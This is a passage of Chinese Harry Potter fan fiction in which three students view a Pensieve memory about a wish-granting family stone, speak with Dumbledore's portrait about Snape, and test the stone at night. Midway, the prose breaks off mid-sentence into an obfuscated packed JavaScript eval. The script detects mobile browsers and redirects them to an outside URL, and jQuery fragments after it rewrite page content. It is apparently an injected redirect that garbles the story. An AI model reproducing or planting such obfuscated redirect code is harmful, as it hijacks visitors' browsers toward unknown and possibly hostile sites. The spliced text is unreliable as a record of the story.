“这种事无论什么时候做都是在冒险,而且越拖延风险越大。”文森特的语气表明他已经打定主意了,“寄来纸条的人没法确认我们什么时候动身,理论上没法通过这个让我们陷入麻烦。我们就当是去验证一下他给我们的口令是否正确,也不会有多大坏处。反正就我所知,那个石兽应该不会因为口令错误就一口咬掉人的脑袋。” 在如此重要和危险的事情上,他们的决定实在显得有点草率。但无论如何,他们一致同意了这个计划。因此,当听说斯内普最后一节课后跟亚克斯利一起在禁林边缘密谈时,他们几乎是立刻就开始了行动。 在城堡的八楼,滴水嘴石兽威严地站在墙边,和三个因爬楼梯气喘吁吁的学生形成了鲜明对比。柏妮丝从来没有见过它,但知道这就是校长办公室的入口。 “口令?”它缓缓地说。 “阿比西尼亚皱缩无花果。”希娜扶着膝盖,气喘吁吁地说。 石兽停了一会儿——柏妮丝险些以为口令是错误的——然后它以对如此沉重的石像而言堪称不可思议的灵巧跳到了一边。一个入口露了出来,里面一条旋转楼梯正缓缓向上移动。他们站上去,不一会儿就到达了校长办公室。 办公室里只有一张黑色的办公桌,还有一个高高的壁橱,里面分门别类地放着各种魔药原料。四周的墙上挂满了历任校长的肖像,但他们都将头搁在胸前打着瞌睡。邓布利多的肖像在最中间,老人安详地熟睡着,蓬松的白胡子在胸前随着呼吸的节奏起伏。 “那个,打扰一下。”柏妮丝唤醒了一位戴着假发卷的老校长的肖像,那人不悦地睁开眼,“请问你能不能告诉我,冥想盆在哪里?” “竟然有学生有胆子闯进校长办公室。”那位校长嘟囔着,指了指一个方向,说,“在那里。” “谢谢您。”柏妮丝说。那位校长没有回答,将眼一闭,很快又睡着了。 他们很快找到了冥想盆。那是一个大而浅的食盆,边缘刻着些复杂的符文。和水晶瓶内容物相同的银白色物质在里边缓慢地打着旋,看着既像雾气又像某种液体。 “所以,我猜,我们要把这里边的东西倒进去。”希娜说,“然后呢?” “我也不知道。我们先这么做吧。”柏妮丝说着,从口袋里掏出那个水晶瓶,打开软木塞,将里面的东西倒进盆里。那些明亮的银白色物质旋转得更快了,就像暴风雨前的大海一样。 “那里面好像可以看得见什么东西。”文森特将脑袋凑近,说道。 柏妮丝也将头伸过去。在银白色的雾气中,她似乎看见了一幅景象。那是一个有些眼熟的房间,里面有一个壁炉,炉膛里正闪烁着温暖的火光。炉前围着两张布沙发。几个身影正坐在沙发上。她几乎可以听见他们在谈论着什么。 那就是记忆的内容吗? 她不禁将脸凑得更近——那几个身影散发出一种亲切的气息,以一种奇怪的方式吸引着她。他们是她认识的人,她可以确定,尽管不明白为什么。 她离他们越来越近了……她的耳朵里已经隐约听见了他们的说话声……她凑得更近,更近…… 终于,她清楚地听见了。一个女人正在说话。 “……你确定她值得信任吗,亲爱的?” 这个声音如此温柔,如此熟悉。她曾在无数个时间和地点听到它——在客厅,在厨房,在圣芒戈的病床边。 那是她母亲的声音。 她想把这个发现告诉两个朋友。但还没来得及,她就头朝下坠入了盆中。 —— 当她缓过神来时,她已经站在了一个新的地方,也就是她刚才看到的那个房间。她突然之间反应过来,这里就是她六年前那个家的客厅。 那几个身影坐在沙发上,对她的到来浑然不觉,只是各自沉默地喝着手里的热茶。她轻手轻脚地绕到沙发侧面,然后愣住了。 那是她的父母,还有阿彻尔夫妇。 “爸爸?妈妈?”她轻声呼唤,生怕这一切是一场梦境——她见到了那些死去的人,那些她曾日日夜夜思念的人。他们此时正活生生地坐在她的眼前。 沙发上的四个人没有看她一眼。她绕到他们面前,情况依旧相同。她突然明白过来了——这只是一段记忆,而她只是一个闯入其中的旁观者。没有任何人死而复生,也不可能会有。这个事实不知为何令她的心脏向下一沉。 “所以这就是那段记忆?”希娜不知何时出现在了她的身后,“这些人是——” “他们是我们的父母。”文森特的声音在另一个方向响起,他的声音听起来很平静,“看样子这是很久远之前的记忆了。” “噢,所以说……”希娜的声音小心翼翼地停住了。她好像在观察有没有人突然开始失声痛哭。 “你还好吗,柏妮丝?”柏妮丝感觉到一只手搭上她的肩膀。是文森特。 柏妮丝摇摇头,让自己从突然而来的情绪中恢复过来。“我没事。”她说。 文森特好像还想再说什么,但他不得不停住嘴。因为沙发上有人开始说话了。 “孩子们应该不会下来了,我让他们在房间里玩。”凯茜阿姨将茶杯放回茶盘里,“有什么新情况吗,布莱恩?” “我联系到那个人了。”父亲终于将手里的杯子搁在膝盖上,“她同意帮我们保管石头。” “你是说那个女人?”母亲皱着眉头开口,声音柔和却充满担忧,“你确定她值得信任吗,亲爱的?她甚至没有告诉我们她的真名。” “我们别无他选,希瑟。”父亲神色凝重,“现在信任是次要的。凤凰社倒台了,而魔法部随时都可能派人来。我们必须尽快将石头送到安全的地方。” “他们究竟为什么这么想要它?你现在可以告诉我们原因了吗,布莱恩?”菲尔叔叔问,“你从来没有对我们详细解释过。” “好吧。”父亲叹了口气,柏妮丝三人忙凑近了些,他们知道接下来是最重要的内容。只见他从空袋里掏出一个手帕包着的东西,然后将手帕打开。 他的掌心里躺着一块石头——字面意思上的那种。柏妮丝本以为他们叫它“石头”是个比喻什么的,但它真的就是一块灰扑扑的石头。要说有什么特别之处,就是上面刻着一个如尼符文,是一个菱形,底下的两条边延长出来,左右对称。但除此之外,它并没有什么值得注意的地方。柏妮丝相信,要是把它丢在某个河滩上,一定不会有人注意到。 “这块石头名叫‘戈德马蒂克之石’,是我的家族千年前从当时有名的黑巫师手里定做的。”父亲缓慢地说,“它具有一项神奇的能力——让每一个握住它的人拥有实现内心最深处渴望的能力。” 记忆内外的人都深吸了一口气。 “你的意思是,什么样的渴望都可以?”凯茜阿姨问。 “是的。”她父亲点点头,“不过那个能力必然是使用者内心深处最想要的。” “如果它这样强大的话,”菲尔叔叔说,“神秘人应该不是第一个想要夺走它的人吧?” “的确。不过,当初买来它的时候,我们家族就做了一些防止这类事情发生的措施。”父亲说,“它被施了一个咒语,使得只有我们家族内的人可以使用它,其他人即使握住它也不会有任何效果。但如果它落到黑魔王手里,什么都不好说了。” “但伏——神秘人想要什么?”菲尔叔叔问,当时第一批探测咒已经投放,不过针对的词语只有“伏地魔”一个,“他已经拥有了强大的力量和绝对权力,抵抗他的人也已经被消灭了。” 这次,父亲停顿了更长时间。最后,他答道:“永生。” “什么?” “这是三年前邓布利多告诉我的。”她父亲说,“他写信向我解释了神秘人为什么想要我手上的东西。简单说,这世上存在一个预言——他和哈利·波特只有一个能活下来。他一直在努力避免这个结局。这也是为什么当初凤凰社会找到我们。他们想要避免这块石头落入神秘人的掌心,因此想要争取我们的支持。” “一开始我没同意,因为我不想参与这场战争。我有你,希瑟。”他悲伤地对着妻子说,“我还有我们的女儿柏妮丝——她还那么年幼。我不想——不想让你们被卷进来。 “因此,我迟疑了很久——有些太久了。等我下定决心时,一切都来不及了。现在我知道这是个错误,但当时我实在是……” 他又叹了口气。柏妮丝看到母亲默默地握住了他的手。于是他收拾好情绪,重新严肃起来。 “我们的时间不多了。”他说,“明天我动身出发,将石头交出去。那个人有足够的地位,神秘人不敢轻易搜查她。” 其余三人点头表示同意。壁炉中的火光映在四张神色严峻的脸上。然后场景变了。 眼前是一个不小的会客厅。这里的布置像是一个人将他能搜索到的一切看得过眼的物品都摆了进来:皮沙发上披着南非的手织棉毛毯,窗边挂着波西米亚风格的贝壳和羽毛风铃,墙上有一根硕大的独角兽的犄角,橱柜里还摆着一个色泽华美的变色巨螺甲壳。这些东西毫不相干,放在一处却又诡异地和谐,形成一种古怪的艺术风格。柏妮丝看见自己的父亲就坐在那个沙发上,面前的茶水一口未动。他看上去相当焦躁。 “这就是他们说的那个人的住处?”希娜四处游逛着欣赏这些五花八门的收藏,说,“梅林啊,我喜欢这里。” 就在这时,会客厅的另一扇大门打开了。一个美丽的女人走了进来。她一头浓密的浅金色长发一直垂到腰上,五官像是古希腊雕塑般深邃优美,和这间屋子的风格达成了一种微妙的平衡。她礼貌地微笑着,笑意却未达眼底。 “很高兴见到您。”男人从沙发上站起,她和他握手,依然带着那种捉摸不透的笑容,“想必您就是布瑞南先生。” “帛曳女士,很高兴见到您。”父亲说,“我是来和您商讨代为保管戈德马蒂克之石的事。” “‘帛曳’。”希娜在柏妮丝边上皱着眉头重复了一下这个名字,“这是麻瓜圣经中的堕天使之一的名字。她果然没用真名。” “她看上去就不是会跟人坦诚相待的类型。”文森特直言不讳地说。 “您不必如此急躁,不妨我们先谈谈。”自称“帛曳”的女人又微笑起来,“您为什么会找到我呢?” “很抱歉打扰了您,女士。我也知道您不愿插手时政,但情况紧急,我们也是被迫无奈。”父亲字斟句酌地说道,“神秘人现在在四处搜寻这块石头,而我们——” “您不用往下说,我明白。”女人脸上的表情依旧友善,“但我想问的是,倘若我答应,您能给出什么作为交换?” 柏妮丝的记忆里从未见过父亲如此局促的模样。他迟疑了很久,这才终于回答。 “……抱歉,我们没有。如果您需要提出什么要求,我们会尽可能满足。但我无法保证我们有足够的条件与您交易。”他低下头,“但如果您不愿意……” “不,我愿意。”帛曳打断了他,笑道,“我能理解您的困境。您的家族和我的祖上是世交,虽说是千年前的事了。但这样的小忙,我可以帮。而我的要求,您也一定满足得了。” “请问您的要求是……” “很简单,布瑞南先生。”女人脸上笑容依旧,眼神却锐利起来,“如果这里也不再安全,您要允许我立刻将石头送回您那里。您知道,我不喜欢麻烦。” “她只是想要拥有那块石头。”文森特靠在墙上抱着胳膊说,“而且她的条件几乎让她不用冒任何风险——真是精明。她只是看中他们已经走投无路了。” “但他们也没得选。”希娜说,“他们不可能找到别的人了。哪怕这只能作为一时的缓兵之计,也比石头直接被发现好。” 她说得不错。柏妮丝看见父亲停了很久,但最终他还是点点头,说:“我同意您的条件。” 离开冥想盆前的最后一刻,帛曳的笑容更加灿烂了。 “合作愉快,布瑞南先生。”她说。 —— 柏妮丝的大脑依然混乱得像团毛线。各式各样的新信息从各个角落里冒出来,试图拼凑成一个完整且有条理的事实。从其余两个人的神情可以看出,他们的情况也大差不差。过了好一会儿,三个人才缓过神来。他们齐齐望向校长办公桌上的那个匣子。然后,所有人都愣住了。 那个匣子打开了。 他们连忙凑上前去,仿佛生怕下一秒它又会合上。但它没有。只见铁匣子的盖子大开着,露出里面的黑色天鹅绒衬里。躺在盒子里的,是一块灰扑扑的圆形石头。上边刻着一个符号——一个菱形,下面的两条边各自延长出来,左右对称。一点不差,那就是戈德马蒂克之石。 “等等,让我先梳理一下。”希娜疲惫地说,用手指捏着鼻梁。柏妮丝安静地等待她的下文。 “所以,柏妮丝,”她用手指指向柏妮丝的方向,“你来自的家族在千年前向黑巫师购买过一块石头,或者说‘戈德马蒂克之石’——唉,这什么奇怪的名字。上一次巫师战争的时候,神秘人想得到这块石头,并且要借助它长生不老之类的。你们俩的父母知道这一点,但更想把它给鸟群,只是还没来得及,他们就被击败了。” 她所说的“鸟群”是这学期起学生们为了避开探测咒制定的暗语,用于代表“凤凰社”。除此以外,他们还用“D先生”代表阿不思·邓布利多,用“P先生”代表哈利·波特。说到头来,在两个食死徒接连毙命之后,你很难强求年轻人们不就当下的时局进行一番联想和探讨。 “战后,为了避免清算,石头被送到制造者的后人,也就是那个名叫帛曳的女人手里保管。这件事先前没有其他人知道。”希娜说到这里突然顿住,“但现在,看样子那个人又把石头送回来了。为什么呢?” “只能假定她遇到了什么麻烦,比如说魔法部终于还是查到她那里了之类的。”文森特说着,给她们看他手里的一张羊皮纸——他的另一只手上还拿着一只羽毛笔,显然刚才希娜说话的时候他一直在用这对纸笔涂涂写写。只见纸被他分成上下两部分,上边那部分是刚才希娜所说的内容,被他整理成了一条完整的时间轴;下边那部分则只用很大的字体写了两个单词,“实现”和“传承”。 “关于这个石头本身,按照刚才那段记忆中的说法,我大致归纳成两个点,也就是我写下的这两个词。首先是‘实现’。”文森特说着,在那个单词底下画了两条横线,“不知道你们有没有听说过厄里斯魔镜,据说那面镜子可以映照出每个人内心最深处的渴望。按照布瑞南先生的说法,这块石头和那个有点类似,但又更进一步——它让你有能力实现它。” “其实那段记忆里的描述还有一些模糊的地方,这里有一些是我自己的理解。”文森特继续说,“在刚才的记忆里,‘内心深处’这个词被强调了两次。也就是说,如果没有大的变故,每个人在不同时间使用石头的效果应该是一样的。而且,这块石头不会直接实现你的愿望,而是给予你实现愿望的能力。比方说,一个贪财的人使用这块石头并不会一下子变得富有,但会拥有相关的能力,比如点石成金之类的。同时,这个能力的触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039691|162458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发条件是握住石头——或者可能是直接地用身体接触?在记忆中,隔着手帕握着石头似乎不会有效果。至于其他部位能不能行,我们可能得回头试试。 “第二,‘传承’。戈德马蒂克之石上附有一个咒语,将可以使用石头能力的人的范围框定在家族内。不过不知道这个判定的标准到底是血缘关系还是只要名分被家族承认就可以。但无论如何,这个咒语在一定程度上使得使用石头的权利只能在布瑞南家族内部代代相传,而不能落到外人手中。” “在判定标准这个问题上,我个人更偏向后者,文森特。”希娜突然开口。她正俯下身子,眼睛一眨不眨地盯着那个匣子里的石头。 “你怎么能确定?”文森特问道。 “这个石头上刻的符号是如尼文字母‘O’,意思是‘遗产’。如果这个符号和那个传承咒语有关,那么我想它的所谓‘传承’更接近于一个法律上的概念。”希娜说到这里,忽然抬起头笑了笑,“这就是报古代如尼文研究课的好处,看到了吧?你还是坚持要学你的占卜学吗?” 对于最后一个问题,文森特的回答是不予理会。 “如果神秘人想要利用石头的话,‘传承’这一特性将成为他最大的阻碍。”他继续说着,在这个词上打了个叉,“但是,正如柏妮丝父亲所说的那样,既然他一直在搜索这个石头,那他肯定已经确定自己能应付这个问题了,不管方法是施反咒还是别的什么。总之,这个也不会困扰他多久。而那之后……” “而那之后,他就会真正实现永生。”柏妮丝轻声说,“到那时,即使是P先生也无法杀死他了。” “换句话说,”希娜的神情比她的语气要严肃得多,“不管是谁想要反抗当今的魔法部,只要神秘人得到了这块石头,他们就都没戏了。” “让这块石头一直待在霍格沃茨肯定不是办法。”文森特说,“最好的解决方案是把它交到真正有意愿和能力保护它不被神秘人染指的人手上。” 他没有明确说出那些人是谁,但也差不多了。 “但鸟群真的还存在吗?”柏妮丝急急地说,“我是说,如果说六年前他们就已经——” “容我打断一下,孩子们。”他们身后突然传出一个苍老的声音。 有那么一瞬间,柏妮丝以为是有人进来了。她惊慌转身看向门口,却发现那里空无一人。接着她才意识到那声音是墙上邓布利多的肖像发出的。此时画框中的老人不再闭着眼打盹了。他抚着长长的白胡子,一双深邃的蓝眼睛在半月形镜框后带着笑意看着他们,看上去精神矍铄。 “很高兴见到你们,孩子们。”他愉快地说,然后将目光落在柏妮丝身上,“啊,你是柏妮丝·布瑞南小姐吧。我听斯内普教授提起过你。你不久前在黑魔法防御术课上的表现非常精彩,而且毫不夸张地说,十分高尚。” “谢谢您,先生。”柏妮丝回答,感觉自己的脸在发烫。不过很快,文森特的突然开口就转移了她的注意力。 “先生,您说这是斯内普教授告诉您的?”他问。 “是啊,一点不错。他还告诉了我其他很多事呢——劳里埃小姐,”忽然被点名的希娜困惑地眨了眨眼睛,“你们格兰芬多院队这学期的事我也有所耳闻。拥有反抗强权压迫与血统歧视的勇气固然是好的,但我也得说,禁林可不是最安全的训练场地。每次都控制在天黑前回到礼堂会降低很多风险。” “这您也知道?”希娜瞪大了眼睛,然后一个更加令人震惊的事实击中了她,“而且斯内普也知道?” “是斯内普教授,劳里埃小姐。”邓布利多和颜悦色地说,“以及是的,他从一开始就知道。” 希娜的眼睛瞪得更大了:“那他为什么——” “关于这件事我不能向你们透露太多,孩子们。”邓布利多说,“但我可以告诉你们的是,你们绝对可以信任斯内普教授。至少你们可以相信,只要他能做到,他就不会让你们中的任何一个处于生命危险中。” 没有人回应这句话。柏妮丝往两边瞧瞧,看得出其余二人似乎都在计算邓布利多的肖像被食死徒动手脚的可能性。 不能怪他们起疑。这简直是她这辈子见过最怪异的画面了——阿不思·邓布利多,本世纪最伟大的白巫师,正在向他们维护一个食死徒,而且还是七年前杀死他的那个食死徒。更怪异的是,她惊讶地发现,在听到这句话之后,先前的很多事就都说得通了。那些维持霍格沃茨现状的措施,和亚克斯利的争执,还有斯内普从来没有真正因为血统歧视学生——忽然之间,这些怪事都有了一个共同的解释。 “他是您的人吗,先生?”过了好一会儿,文森特忽然问,“或者说,他是你们的人吗?” “这我不能告诉你,孩子。”邓布利多微微一笑,“好了,在继续琢磨这件事之前,你们现在为什么不回到公共休息室,在壁炉前好好歇歇呢?最好再吃个热乎乎的南瓜馅饼——啊,我已经好几年没有吃到了,真是怀念啊。” 这话的意思很明显。而且他们也的确该走了——斯内普随时可能回来。他们收拾好带来的所有东西,准备离开。但就在这时,柏妮丝忽然又想起一件事。她在校长办公室门前回过头,看见邓布利多的肖像正朝她微笑。 “我可以再问您一个问题吗,先生?”她问。 “你已经问出来了,布瑞南小姐。”邓布利多温和地说,“不过我允许你再多问一个。还有,你们在这里不需要在意那些语言上的禁忌,说出来就好。” 柏妮丝过了一会儿才明白,他的意思是这里没有探测咒。 “鸟群——我是说,凤凰社。他们真的还存在吗?直到现在?”她问。 “总是有人在的,孩子。总是有的。”邓布利多高深莫测地说,“希望的奇妙之处就在于,它的存在与否不由任何外部因素决定。只要你相信还有希望,那么它就会一直在那里。” —— 几分钟后,斯内普走进了办公室。他看上去相当比平常还要疲惫些。 就在刚才,他终于说服亚克斯利停止在黑魔法防御术课上让学生使用不可饶恕咒互相攻击。在过去的半个月里,医疗翼日日人满为患。他本以为那人只不过是一时心血来潮(就像他一向做的那样),只需要等他自行放弃这个活动即可。但现在看来,恐怕还来不及等到那一天,霍格沃茨就要出现学生死亡的案例了。 因此他只能出面,像往常一样谨慎地选择措辞,编出些辛辣的讽刺,同时适当地借用那些高位者的权威,使自己的借口听上去足够可信且有威慑力。这一招绝不能用在黑魔王身上,但用于唬住大部分白痴应该绰绰有余。 他只希望亚克斯利没有在连番几次受挫的刺激下把这事捅上去,因为他不敢保证自己能全身而退——他一而再、再而三地保护学生,黑魔王一定不会高兴。独裁者想要的一向是指哪打哪的拳头,不是能言善辩的巧舌。在实际措施令他不满时,附带的理由过于完美只会增添他的怒火,因为他讨厌事情失去掌控的感觉。 终会有那么一天的。斯内普完全清楚这一点。有一天,黑魔王会用魔杖指着他,绿光闪过,然后一切归于寂静。但即便如此,他的工作也必须持续到那一天为止,因为某个行将就木的白巫师如此恳求过他,而且他的手上至今沾着那人的血。他永远无法违背这个承诺,因为他的生命已经负担不了再见证一次他人死亡的重量了。多么令人作呕的事实。 “晚上好,西弗勒斯。”那个罪魁祸首的肖像笑容满面地说。 斯内普显然没心情回应他的问候。“我刚才看到几个学生从这个方向往外走。”他慢慢地说,“怎么回事,邓布利多?” “他们进来了,西弗勒斯。”邓布利多轻松地说,“还问了我一些问题——关于凤凰社的问题。” “而你回答了他们。”斯内普暴躁地说,“你把几百个小巨怪丢给我,让我花了七年时间保证他们不在霍格沃茨死掉。然后现在你在向几个学生透露凤凰社的最新消息,就因为他们好奇。” “他们在寻找我们,西弗勒斯。”邓布利多全然没有被激怒的迹象,就像过去他们相处的十多年一样,“他们手上有一件伏地魔想要的东西,而且现在他们要把它交给我们。” 斯内普深深地、深深地呼出一口气,好像在把更多的刻薄话从喉咙口咽下去。 “有什么是你需要我做的,邓布利多?”他的声音平稳得不可思议,“直接把那东西拿过来?” “我们都知道那是不现实的,西弗勒斯。”画框里的邓布利多说,“那样做会带来极大的风险。我们现在不能失去你,西弗勒斯。” “是啊。相较来说,让几个连飞来咒都还没学会的孩子来保管它显然要稳妥得多。”斯内普尖刻地说,“还是说你现在认为牺牲几个学生也无所谓了?也难怪,反正这个账也算不到你头上。” “我需要你给予他们必要的帮助,西弗勒斯。”邓布利多严肃地说,“当然,还有保护。” 斯内普对此嗤之以鼻。 “难道我除了保护他们还有别的选择吗?”他冷笑着说。 (TBC) 6. 不愉快的冲突 Chapter 06 - An Unpleasant Conflict 当他们走进格兰芬多公共休息室时,并没遇见什么人。大多数学生还在礼堂。再加上大部分格兰芬多学生都见过文森特和她们两个在一起,因此,这样一个斯莱特林学生的出现并没有引起太大的骚动。 “你们认为D先生的话可信吗?”进入公共休息室的洞口刚刚关上,希娜就问,“我们真的可以相信斯内普?” “他没必要对我们撒这种谎。”文森特说。 “而且我觉得他没有骗我们。”柏妮丝沉思道,“刚才我们问他问题的时候,他看起来是认真的。” “但实话说,即使知道斯内普不是坏人也不会有什么改变。”希娜说,“我们依然不能把石头给他,否则万一被发现了,先不说我们怎么样,首先他肯定解释不清楚。而一旦他走了——你们敢想象亚克斯利或者别的什么人担任校长的话霍格沃茨会是什么样吗?” “不用说也知道,那肯定是幅相当令人向往的图景。”文森特毫无幽默感地说,“总而言之,我们依然得把它交到其他人手上。” “把什么交到其他人手上?”一个声音突然在柏妮丝头顶上响起,她抬起头,看见艾克索正倚在她扶手椅的靠背上。 “你怎么这个时候就回来了?”希娜问。 “噢,我没什么时间吃晚饭。”艾克索说着,从口袋里掏出一个什么东西,“我得把这小家伙赶紧送到壁炉里去。” 柏妮丝看见,在她的掌心里,趴着一只白色的活物——那是一只火蜥蜴。它从她的指间处探出脑袋,好奇地四处张望。艾克索将她的手伸到壁炉边,火蜥蜴立刻爬进火里。在一瞬间,柏妮丝看见它变成了鲜艳的红色。然后它往炉膛里一钻,不见了。 “他是我从保护神奇动物课上偷偷带回来的。”艾克索解释说,“我给他喂了些辣椒,可以让他离开火存活几个小时。但他肯定不喜欢待在外边的感觉。” “你打算一直养着他吗?”柏妮丝问。 “没错。”艾克索自豪地说,“我连名字都取好了。我要叫它‘萨拉姆’。” “对于一个宠物来说,这名字可真是够随意的。”文森特扬起眉毛【注:“萨拉姆(Salam)”是“火蜥蜴(Salamander)”的前五个字母】。 “是啊,而‘艾克索’这个名字一听就知道是特别用心取的【注:“艾克索(Axo)”是“蝾螈(Axolotl)”的前几个字母】。”艾克索一如既往地在三秒内实现了让话题从轻松到沉重再到轻松的转变,“而且他才不是宠物呢,别忘了我和他都是蜥蜴。告诉你们,我刚刚跟他说好了,他是我表哥!你们可不准小瞧他!” “我明白了。”希娜一本正经地对着壁炉说,“万分抱歉,艾克索的表哥,我朋友刚才有眼不识泰山,怠慢了您……” “好啦,别骚扰他了。”艾克索笑着制止了她,“所以你们刚才到底在聊什么?” 柏妮丝简要告诉了她他们闯入校长办公室并成功打开那个盒子的事。艾克索直呼可惜,说自己也该一起去的。最后她问:“所以你们现在打算做什么?” “找到合适的人,把东西交出去。”文森特说。 “我问的不是那个!”艾克索有点气恼地打断了他,“我是说,在那之前,你们就不打算拿它做点什么吗?比方说,你们就不想知道自己的能力是什么?只有你们俩能用那块石头,你们还一点也不珍惜这个特权。如果是我……” 文森特撇了撇嘴:“首先,我能不能用那个石头还是个未知数——” “那不就更应该去试试了吗?”艾克索再次打断他,兴奋地说。 文森特发出了一种代表对方无法交流的“呃”声。 “所以你的意思是?”他问。 “就今晚怎么样?”艾克索把身子往前倾,压低声音,“我们去看看这玩意儿到底有什么本事。” “你是说出去夜游?”柏妮丝尽可能小声地说,虽然还是不够小声,但幸好现在附近依然没有人,“但那是违反校规的。” “啊呀,姑娘,你还是不是格兰芬多的学生!”艾克索说,“放心,我这方面经验丰富,不会害我们学院被扣分的。我告诉你,在校七年都没有在晚上出去玩过,就相当于没来过霍格沃茨!” 柏妮丝还有些犹豫,但这时,最出乎意料的人发话了。“我同意。”文森特说。 “哇哦。”希娜调侃,“我们中混入了一个斯莱特林,猜猜是谁?” “这跟你们的‘格兰芬多精神’没有关系。”文森特无奈地解释,“但艾克索有句话说得没错,我们的确有必要试一试石头的实际效果。除了宵禁后,其他时间都不够保险,很可能被其他人看到。” “那就这么定了!”艾克索两眼放光,“今晚十一点宵禁后,格兰芬多公共休息室门口见。你们一个也不许少——尤其是你,柏妮丝!” 其实即使她不说,柏妮丝也会去的。文森特说得没错,没有比夜晚更好的时间了。但她还是点了点头作为回应。 “那么现在,”希娜站起身,宣布道,“在今晚的活动开始之前,我要去吃饭了。有人一起吗?我可不想错过今晚的牛肉腰子派。” 她的话让柏妮丝原本已经忘记了自己还没吃饭的胃再次饥饿起来。他们一道往礼堂走去,同时祈祷厨房的家养小精灵们还在烤出更多美味的牛肉腰子派。 —— 柏妮丝和希娜到得比约定的晚了些。这主要是因为她们宿舍今天夜晚的闲聊比以往都更长——海莉刚刚和拉尼约会回来,有数不清的新消息要跟她们分享。其实即使她不说,明眼人也看得出他们有多如胶似漆:海莉这阵子每天早上花在打扮自己上的时间又长了一倍,而且常常带着某个新设计的发型问她们“你们觉得我这样他会喜欢吗”。那对拉尼学期初送她的蓝宝石耳坠她每天都戴着,而且还一定要露在外边,生怕别人不知道她男朋友给她送了礼物。 无论如何,等两个女孩终于来到约定的见面地点时,剩余两个人已经到了。他们又一道走下那些时不时会有整蛊人的陷阱的楼梯——柏妮丝险些踩到一个——穿过几条长长的走廊,进入一间空教室。 借着魔杖发出的光亮,柏妮丝认出这间教室相当熟悉。一个月前,就是在这里,亚克斯利命令她和安吉丽娜用钻心咒互相攻击。虽然现在他已经放弃了这种“决斗”,看到这间屋子,她还是禁不住打了个颤。 教室的门刚刚关上,文森特就迅速将它上锁,并施了个静音咒。“以防万一。”他耸了耸肩。 “行。”艾克索搓着手说,“那我们开始吧?” 柏妮丝点点头,从口袋里掏出那个铁匣子,打开来。她先是给好奇的艾克索展示了一下(“闹了半天,就是这么一块石头啊?”),然后递到文森特面前。 “你先来吧。”她说。 文森特愣了一下,然后做了个深呼吸。看样子他比柏妮丝想象中更紧张些。然后他缓缓地伸出手,取出了那块石头,握在掌心。 突然之间,石头上的那个雕刻上去的符文发出微弱的白光,并就好像有人在它内部点亮了一盏灯——所有人都倒吸了一口气——然后,更奇怪的事发生了。 “文森特呢?”艾克索瞪大眼睛问。 “呃——看样子是石头起作用了。”希娜说,她看上去既震惊又困惑,“文森特?你还在这个房间里吗?” 仿佛是作为回应,突然间,她们身边的窗帘被拉开一条缝,月光洒了进来。然后,文森特重新出现在了窗边。 “哪儿都去不了。”他平淡地说,“还有,别嚷嚷。静音咒的力量也是有限的。” “石头呢?”柏妮丝问。文森特的手上此时空空如也。 “在我口袋里。”他说,“我松开了它——以便让你们知道我没有突然消失什么的。” “所以那就是石头给你的能力?”艾克索问,“它让你隐形了?” “差不多。感觉像幻身咒,不过效果还要更好些。”文森特回答,“而且它还有一部分静音咒的特质——你们刚才没有听见我说话吧?或者我的脚步声?虽然我还是可以对外界造成影响——比如刚才的拉开窗帘——但不得不说,它提供的隐蔽效果相当好。” “没有。没想到你最想要的事情竟然是这个——从我们视野里消失。”希娜扬起眉毛,“真不愧是你,文森特。” “倒也不是那样。”文森特耸了耸肩,“我有时候的确想消失,但不是从你们面前。你要相信世界上还有人比你烦人得多,劳里埃。” “啊哈,我猜你是指斯莱特林的那帮子人。”希娜笑了出来,“万分感激。你的话大大增长了我的自信心。” 文森特没有反对。相反,他竟然也淡淡地微笑了一下。但也只有一下。接着,他的注意力又回到了正事上。 “轮到你了,柏妮丝。”他说,“我建议你自己到我的口袋里把它取出来,免得你们又找不到我了。” 他侧过身子,方便柏妮丝把手伸进他的校袍口袋。柏妮丝很快摸到了那块石头。她把它取出来,看见那个符文同样在她的手心里散发着淡淡的白光。不过除此之外,她没有感觉到什么特别的东西。 “太酷了,柏妮丝!”艾克索兴致高昂地说,“快试试看!” 柏妮丝照做了。但古怪的是,她似乎没有任何变化——没有加强的力量或者加快的行动速度,她的脑子也和往日差不多。她听从其他几个人的指挥试着做了几件事,但好像什么都没发生。 “这就奇怪了……”艾克索挠了挠头——她刚刚让柏妮丝尝试一下能不能让她手上的几颗比比多味豆漂浮起来,但它们纹丝不动,“不对啊。你不是最应该被石头承认的人吗?” “你把石头给我一下,柏妮丝。”希娜说,柏妮丝把石头递到她手里。那微弱的白光一下子熄灭了。 “这么看来,刚才在你手里的时候,石头是有反应的。”希娜说,“难道是你已经获得能力了,只是我们没发现?还是你其实什么也不想要?” “柏妮丝,你仔细想想,你有没有什么特别想要的东西?或者什么愿望?”艾克索问。 这本该是个很简单的问题,柏妮丝却突然愣住了。 是啊,她想要什么呢? 她惊讶地发现,自己还真的没怎么这样问过自己。仔细一想,她似乎并不那么在意财富或是名誉,也不求自己在哪一方面做到最强。她认为自己并不是什么都不想要,但若硬要她说她“渴望”什么东西——那有该是什么呢? 她在所有人的目光下停了很久,最后答道:“我也不知道。” 屋里的气氛似乎一下子失去了原先的兴奋,变得混杂着同情、困惑和尴尬。柏妮丝知道,当他们走进这个房间时,没有人会想要看到这个。希娜似乎想寻找一个打圆场的方式,而艾克索的表情看上去像在酝酿一句安慰,但她们显然没有都找到合适的句子。 为什么?为什么是这样?难道真的像希娜所说的,她没有任何想要的东西吗?她很想反驳这个答案,但她惊恐地发现,她甚至找不到一个合适的证据。她不得不接受这个事实——这块神奇的石头,在她的手中也许只是一个毫无用处的垃圾。她以为自己能接受这样的结果,但现在她知道自己不能。巨大的失落和朋友们的担心压得她喘不过气来。 最后,文森特第一个打破了僵局。 “没关系。”他说,“收拾好东西,我们回去吧。” 